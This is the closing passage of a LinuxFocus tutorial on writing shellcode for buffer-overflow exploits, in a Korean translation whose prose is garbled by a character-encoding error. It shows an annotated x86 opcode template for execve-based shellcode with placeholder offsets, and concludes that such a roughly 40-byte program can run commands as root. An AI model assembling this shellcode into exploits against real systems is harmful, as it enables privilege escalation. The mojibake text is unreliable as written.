89 76 XX movl %esi,XX(%esi) XX = XX = ¹è¿­ÀÇ Ã¹¹ø° ÀÎÀÚÀ§Ä¡(½ÇÇàÇÒ ¸í·ÉÀÇ ÁÖ¼Ò). ÀÌ offsetÀº ½ÇÇàÇÒ ¸í·É°ú '\0'ÀÌ Æ÷ÇÔµÈ °ªÀÌ´Ù.
31 c0 xorl %eax,%eax
89 46 XX movb %eax,XX(%esi) XX = ¹è¿­ÀÇ µÎ¹ø° ÀÎÀÚÀ§Ä¡,¿©±â¼­´Â NULL°ªÀ» °®´Â´Ù.
88 46 XX movb %al,XX(%esi) XX = ¹®ÀÚ¿­ ³¡¿¡ µé¾î°¡´Â '\0'ÀÇ À§Ä¡.
b0 0b movb $0xb,%al
89 f3 movl %esi,%ebx
8d 4e XX leal XX(%esi),%ecx XX = ¹è¿­¿¡¼­ ù¹ø° ÀÎÀÚ°¡ ÀÖ´Â °÷ÀÇ offsetÀ» %ecx¿¡ ³Ö´Â´Ù.
8d 56 XX leal XX(%esi),%edx XX = ¹è¿­¿¡¼­ µÎ¹ø° ÀÎÀÚ°¡ ÀÖ´Â °÷ÀÇ offsetÀ» %edx¿¡ ³Ö´Â´Ù.
cd 80 int $0x80
31 db xorl %ebx,%ebx
89 d8 movl %ebx,%eax
40 incl %eax
cd 80 int $0x80
<subroutine_call>:
e8 XX XX XX XX call <subroutine> ÀÌ 4 bytes´Â <subroutine>±îÁöÀÇ bytes¸¦ °è»êÇÑ °ÍÀÌ´Ù. (little endianÀ¸·Î À½¼ö·Î Ç¥ÇöµÈ´Ù.)<subroutine>
 

Conclusion

¿ì¸®´Â À̱ÛÀ» ÅëÇØ ´ë·« 40byteÁ¤µµµÇ´Â ÇÁ·Î±×·¥À» ¸¸µé°í, À̸¦ ÀÌ¿ëÇØ root±ÇÇÑÀ¸·Î ¿ÜºÎ¸í·É¾î(external command)¸¦ ½ÇÇà½Ãų ¼ö ÀÖ´Ù´Â °ÍÀ» ¾Ë°Ô µÇ¾ú´Ù. ¶ÇÇÑ ÀÌÀåÀÇ ¸¶Áö¸· ¿¹¸¦ ÅëÇØ ½ºÅÃÀ» ¸Á°¡¶ß¸± ¼ö ÀÖ´Â ¹æ¹ýÀ» »ìÆ캸¾Ò´Ù. ÀÌ ±â¼ú¿¡ ´ëÇؼ­´Â ´ÙÀ½±Û¿¡¼­ ´õ ÀÚ¼¼È÷ ´Ù·ê °ÍÀÌ´Ù....

 

Talkback form for this article

Every article has its own talkback page. On this page you can submit a comment or look at comments from other readers:
 talkback page 

Webpages maintained by the LinuxFocus Editor team
© Frédéric Raynal, Christophe Blaess, Christophe Grenier, FDL
LinuxFocus.org

Click here to report a fault or send a comment to LinuxFocus
Translation information:
fr -> -- Frédéric Raynal, Christophe Blaess, Christophe Grenier
fr -> en Georges Tarbouriech
en -> ko Sang-Kuk Hong, Hyun-Wook Hwang, Kun-Wook Kang, Sang-Jun Moon, WooHyun Kim

2001-04-27, generated by lfparser version 2.13